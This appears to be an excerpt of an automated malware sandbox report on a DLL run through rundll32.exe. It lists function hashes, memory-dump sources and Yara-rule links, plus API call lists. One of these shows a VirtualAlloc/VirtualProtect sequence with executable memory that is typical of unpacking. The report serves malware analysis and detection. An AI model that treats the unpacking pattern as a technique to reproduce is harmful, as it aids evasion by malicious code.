Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8b876869e6e1399d07086898aa747f3fd665ccaa3c4c619e8c8968fd6a9a47e
Instruction ID: 58880e40f7adf213e10006b8d5e72ad84ab2d373ac877c5f55a3201fa04e3c3b
Opcode Fuzzy Hash: b8b876869e6e1399d07086898aa747f3fd665ccaa3c4c619e8c8968fd6a9a47e
Instruction Fuzzy Hash: C0B167B590C3D386EF184EADD8A573B7AE5EF81350F15862DEF655BB94EB708800C281

Uniqueness

Uniqueness Score: -1.00%

Function 6EBAE3F0, Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57480cebb6c073643066db0bb37664f53f528b12d2ca4e8ceeab76096e5db0d9
Instruction ID: dd85822d1e0e58efadd934ea2a750b20b60d70837d8834710fbae5f2dbe8ae86
Opcode Fuzzy Hash: 57480cebb6c073643066db0bb37664f53f528b12d2ca4e8ceeab76096e5db0d9
Instruction Fuzzy Hash: 62C19FB46187438BDB44CF9DC49062EBBE5FF84300F148A2CEAA58B351EB35D995CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB3B00, Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769dd45fdfd1994aa2fcb50dbb8a97899a61763fb7daf8420eb3df3334b3789f
Instruction ID: 6b6598149a10b967e099c6f73d355910d6f2e7067144c34d12757f87eca01374
Opcode Fuzzy Hash: 769dd45fdfd1994aa2fcb50dbb8a97899a61763fb7daf8420eb3df3334b3789f
Instruction Fuzzy Hash: 37C1EE746087838FD714CF69C45472ABFE2EF85300F048A2EE8A59B351DBB0E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBD180, Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eebcffa5d3dec0ee8ee4f633aeb20e6db57f75f5a67056125e00cad1d421f41e
Instruction ID: 1b0d2819d09dc2b65e7789b05e3ce002151708c9ed815dd4bbd782ff979166d1
Opcode Fuzzy Hash: eebcffa5d3dec0ee8ee4f633aeb20e6db57f75f5a67056125e00cad1d421f41e
Instruction Fuzzy Hash: F7D1C13111D3E54AC325AB6A94907FFFED55FE6204F188C7DA4D552282CA78C604DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBDCA0, Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1b4b0132f1716d9d330779972ddd039648a5f9bf8c3fecf65c301793a73e151
Instruction ID: 4e99dfb72c3bfdd941e8486fd18c5c4e4d27e0fe8fc5dd6903db10b88ae4accf
Opcode Fuzzy Hash: c1b4b0132f1716d9d330779972ddd039648a5f9bf8c3fecf65c301793a73e151
Instruction Fuzzy Hash: 29C1C52160C3D14AC355AB79E4902BFBFE55FE6108F188CBDE4D983292DA78C584D7A3

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB9B10, Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b3f2147b2cc6a45cacde8172b76a812e1dc6d3a0f11a4114b2f5da289a2e1a0
Instruction ID: e37c17ea479679a1fed0d838f51aa0dcbad08d98b446e1af5a59610d83144a18
Opcode Fuzzy Hash: 2b3f2147b2cc6a45cacde8172b76a812e1dc6d3a0f11a4114b2f5da289a2e1a0
Instruction Fuzzy Hash: EBA12571A183869FD7009F9ACC8026EFFA2FFD4304F04CA2DE96857705EB71A9558B91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA7564, Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08fc4637ee1286582d12a25d322cc2c18bba39aad76659d26624bfface0236bf
Instruction ID: d024b3b69788f5a3e499cdc874b6e4c09ed332287fffa1645e8309d22c456b4a
Opcode Fuzzy Hash: 08fc4637ee1286582d12a25d322cc2c18bba39aad76659d26624bfface0236bf
Instruction Fuzzy Hash: 68A1F57061C6A58BDF51DE9EC49079EBBE2FB94704F14C92DC6588B38DEBB09841C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB71F0, Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d429c3ac184809212723adcbd6e746b65124195a74a52075ee5fe463380fc44
Instruction ID: 779e0dd5bea19bfbf8b9d846c47cf0d7255672d75c023619a0246695fe98be5e
Opcode Fuzzy Hash: 2d429c3ac184809212723adcbd6e746b65124195a74a52075ee5fe463380fc44
Instruction Fuzzy Hash: DCB19AB45087938FD705CF69845072ABFE1FB85300F148A6DE8A58B391EBB5D906CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EBAE0A0, Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a8e911a4f29a8feecf1261f1edd226c0157e3f3747d79cfe280e31a92c4aa2
Instruction ID: de647602c46619d67def61836d473d8de8078244f9bc0646af8258d218ba6bd6
Opcode Fuzzy Hash: 74a8e911a4f29a8feecf1261f1edd226c0157e3f3747d79cfe280e31a92c4aa2
Instruction Fuzzy Hash: EEA1AAB19087928BDB54CF6DC94061EBBE2FFC5700F14CA2DEAA49B354E731D8458B92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBAFDD0, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31f9b7cdb9490313d3b63a32406192f5372d33359b2d824e6fbf98519c66a29
Instruction ID: 137bc8386c5b18a94b3dcd10420afa530d5330ae1ff9167537f6910c35477ed0
Opcode Fuzzy Hash: c31f9b7cdb9490313d3b63a32406192f5372d33359b2d824e6fbf98519c66a29
Instruction Fuzzy Hash: 9581E371A187828BD710CFADC44026ABBE3FFC5354F25C62DE5A4973A4EB35D8018782

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB0220, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db77dfe83392df997fdca982a5963f1cf45e072480f6015c9e3b136aec9b8fb
Instruction ID: 369d7a1a68b8f59995e18c4af0aa96dd29c53e1a3789d10c1096207d53d19890
Opcode Fuzzy Hash: 2db77dfe83392df997fdca982a5963f1cf45e072480f6015c9e3b136aec9b8fb
Instruction Fuzzy Hash: FF712871614793C7D7584EA9C66123E7AE2EFC5760B29832CE9A68B3E4FF30D851C241

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB5CB0, Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff05f55cec81c8cbb89bb9310e4807102455aae407b6acccf268787ed05e4ff
Instruction ID: bea501440e20dddc9949856eefa8d380f2b3ef74aaafbfa77b03a1d5eefead68
Opcode Fuzzy Hash: aff05f55cec81c8cbb89bb9310e4807102455aae407b6acccf268787ed05e4ff
Instruction Fuzzy Hash: 888111706193C28BE718CE68C49072ABFE3EFC5310F188A6DE4E58B295DB759441CB87

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA98DA, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7357bc719a5f8a0238a45c1f77690d5ed0b164abf6199a0695743211be5b7034
Instruction ID: 5d562ac433d525fa55657d9b9105f06046e140cbe1e37c55d83d04860b70fb56
Opcode Fuzzy Hash: 7357bc719a5f8a0238a45c1f77690d5ed0b164abf6199a0695743211be5b7034
Instruction Fuzzy Hash: 2B61607561C7A386EF548EADD46063A79E6EFC5340B18C22EDF654B258FB33C8019381

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA9E70, Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d781025913a76f35b518d42bb9011f93251b6c056899b775aa9060b1c0e66a9
Instruction ID: 8aa3cf50f47900caa440be5507013289bcb033ffe53e9bbbf9663a5b8b7b014a
Opcode Fuzzy Hash: 0d781025913a76f35b518d42bb9011f93251b6c056899b775aa9060b1c0e66a9
Instruction Fuzzy Hash: AD616A7251C7938BDB144F9DD4A062B7BA1EF85750B11832DEAA54B290EB33E805C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6EBAA0D0, Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a2b18218923bf33894fb5388b3e17f43bda03b1264e169f2468f23ea404246
Instruction ID: f6ba1f019f38cba40141da53f43b3703b420dd391a2e1439ef281d71c1fbaf4b
Opcode Fuzzy Hash: 72a2b18218923bf33894fb5388b3e17f43bda03b1264e169f2468f23ea404246
Instruction Fuzzy Hash: EB619B7290C7538BDB144F9CC4A062B7BA2EF42740B15833DDE654B390EB32C821CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB1240, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099fc12331ff022561492b18087020d9d8d5b8bf08d513a05c8e731bfd20c05d
Instruction ID: 2ca5342c7f9e13377ffea4d584e7f318fe74e7a1d2723c46e37d1673ced6c304
Opcode Fuzzy Hash: 099fc12331ff022561492b18087020d9d8d5b8bf08d513a05c8e731bfd20c05d
Instruction Fuzzy Hash: 46612C656087D25BD7118AE984D033A7EA6EF92200F1CC26DCD644F29AEE72C809C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB1020, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae64409f2d16467f71373ee2bf306acfd33e073002edd05b5c76f8db5368782a
Instruction ID: cf5092293f1615104f6cb1bed5db1d0f9014fd546b20576867d73622f95763f7
Opcode Fuzzy Hash: ae64409f2d16467f71373ee2bf306acfd33e073002edd05b5c76f8db5368782a
Instruction Fuzzy Hash: F0610A25A097D35BE751CEE988D036A7EA6EF92200F5CC279CD644B24ADE728C09C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA8CC0, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d139eb4d573b3b3d1014b080c0fd1ab8e66937a0c43eb19ae496f21c9fb69d1
Instruction ID: 3d26e3e0a21c27f056cd2a31383896aff522a2539a7872941ecd066ee17f2eb9
Opcode Fuzzy Hash: 3d139eb4d573b3b3d1014b080c0fd1ab8e66937a0c43eb19ae496f21c9fb69d1
Instruction Fuzzy Hash: 19513861A1C7D3C6EF544EAED89422BBAA2EFD1350B15C23CDBA587A98F7718411C241

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA8AB0, Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction ID: a8a1e9a664d10b3a8df55d176f733c9975b308694df6b1e68d8b04a154eb71c6
Opcode Fuzzy Hash: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction Fuzzy Hash: EA5158E1A1D7D346EF584FAE88952277AA2FFC0340B58C23DDBA58BB94F77284108341

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA88C0, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction ID: 0125fb58204dfa6a9c47eee63f5bfc2c9348af17de89e3429dcaa262750cbe53
Opcode Fuzzy Hash: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction Fuzzy Hash: B4515DB161C7D346EF684EAEC85522B7AE2EFC5310B19D23CDBA54BB54F7318411C292

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBCEF8, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction ID: 69d8cc956823cf64def56f774cec6fd0ea31863c023c1c0b1e8a4e197934b133
Opcode Fuzzy Hash: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction Fuzzy Hash: 0141AF716181D759EB40CEEA98A07FE3FA5DF51798F0044A6FD90CD188EF36C88ADA50

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA96D0, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction ID: 073c6e5363b401775e230e488086e93f15c9179809c4b71fb3a2ec10b52359de
Opcode Fuzzy Hash: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction Fuzzy Hash: 85414C7251C2A247DB144FADE89052676A5EF85390F15833DEF66873D0FB328851D2D1

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA2980, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb6b4cc54acd7e097ed73b945b1f2b2f08af4d10a33ac53bf986d4a8aab8b55
Instruction ID: 9d4d90c56149f3029aeb4616cfe84ee60606f34dac31f290a6135e7e4265354c
Opcode Fuzzy Hash: 9eb6b4cc54acd7e097ed73b945b1f2b2f08af4d10a33ac53bf986d4a8aab8b55
Instruction Fuzzy Hash: 4241CF3066C2C99BCF15DFADCC94BEE3B69EF50604F448C2DAA154B291EF71A805C791

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBBE30, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction ID: d1a5e6f3cd10de4be54777ec9fe6cf9993f2010c85b8e1e493691e57c92772a7
Opcode Fuzzy Hash: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction Fuzzy Hash: F4F0E238208583AAFF815EE9ACD0B7A3ADCDF05294F140E65A621C51BCFF31C4058621

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5584 Parent PID: 2268 rundll32.exeCOMMON

Executed Functions

Function 6ECDBA72, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,000006CA,00003000,00000040,000006CA,6ECDB4C0), ref: 6ECDBB2F
VirtualAlloc.KERNEL32(00000000,00000138,00003000,00000040,6ECDB520), ref: 6ECDBB66
VirtualAlloc.KERNEL32(00000000,0003C452,00003000,00000040), ref: 6ECDBBC6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6ECDBBFC
VirtualProtect.KERNEL32(6EB90000,00000000,00000004,6ECDBA51), ref: 6ECDBD01
VirtualProtect.KERNEL32(6EB90000,00001000,00000004,6ECDBA51), ref: 6ECDBD28
VirtualProtect.KERNEL32(00000000,?,00000002,6ECDBA51), ref: 6ECDBDF5
VirtualProtect.KERNEL32(00000000,?,00000002,6ECDBA51,?), ref: 6ECDBE4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6ECDBE67

Memory Dump Source

Source File: 00000004.00000002.772396939.000000006ECDB000.00000040.00020000.sdmp, Offset: 6ECDB000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 623767ba2e3a7c7d0b172c65f64f1ac8c574a60b99b15513513a4157166d0342
Instruction ID: edfd677176d09bb054aa2e4404400d9e8e7b4839498cd8be2d8962a014ac45d7
Opcode Fuzzy Hash: 623767ba2e3a7c7d0b172c65f64f1ac8c574a60b99b15513513a4157166d0342
Instruction Fuzzy Hash: 27D16A72500A01FFDB518F54D880BD277A5FF88350B090994EE299F35EEBBAA805DB74

Uniqueness

Uniqueness Score: -1.00%

Function 6EBD7560, Relevance: 1.8, APIs: 1, Instructions: 259memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6EBD67B0: RtlEnterCriticalSection.NTDLL(?), ref: 6EBD67BF

RtlAllocateHeap.NTDLL(6ECDA374,00000000,?), ref: 6EBD76F2

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: AllocateCriticalEnterHeapSection
String ID:
API String ID: 8947104-0
Opcode ID: ee3ac5016cdc41079568becadf04b5522a306bfa359816e4a281713cc7c3245f
Instruction ID: 13eb0361ba108591ea6ff73cae31b5c2a786b103e746220348df3cca294ca8d1
Opcode Fuzzy Hash: ee3ac5016cdc41079568becadf04b5522a306bfa359816e4a281713cc7c3245f
Instruction Fuzzy Hash: 52B188B5900259AFDB04CF98C990FDEBBB5FB49314F108519E915AB3C0E7B5A844CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EC08B60, Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 602COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 6EC08C99
OutputDebugStringW.KERNEL32(6EC6EC48), ref: 6EC08CA6
OutputDebugStringW.KERNEL32(6EC6EC94), ref: 6EC08CCE
OutputDebugStringW.KERNEL32(6EC6ECB4), ref: 6EC08CD9
OutputDebugStringW.KERNEL32(?), ref: 6EC08CE6
OutputDebugStringW.KERNEL32(6EC6DAFC), ref: 6EC08CF1
__strftime_l.LIBCMTD ref: 6EC08D4C
__aligned_msize.LIBCMTD ref: 6EC08DCA
__invoke_watson_if_error.LIBCMTD ref: 6EC08DD3
__aligned_msize.LIBCMTD ref: 6EC08E26
__invoke_watson_if_error.LIBCMTD ref: 6EC08E2F
__aligned_msize.LIBCMTD ref: 6EC08E60
__invoke_watson_if_error.LIBCMTD ref: 6EC08E69
__aligned_msize.LIBCMTD ref: 6EC08EAD
__invoke_watson_if_error.LIBCMTD ref: 6EC08EB6
__aligned_msize.LIBCMTD ref: 6EC08EE5
__invoke_watson_if_error.LIBCMTD ref: 6EC08EEE
__aligned_msize.LIBCMTD ref: 6EC08FC5
__invoke_watson_if_error.LIBCMTD ref: 6EC08FCE
__aligned_msize.LIBCMTD ref: 6EC09001
__invoke_watson_if_error.LIBCMTD ref: 6EC0900A
__cftoe.LIBCMTD ref: 6EC09043
__aligned_msize.LIBCMTD ref: 6EC0908A
__invoke_watson_if_error.LIBCMTD ref: 6EC09093

Strings

P, xrefs: 6EC0935A

Memory Dump Source

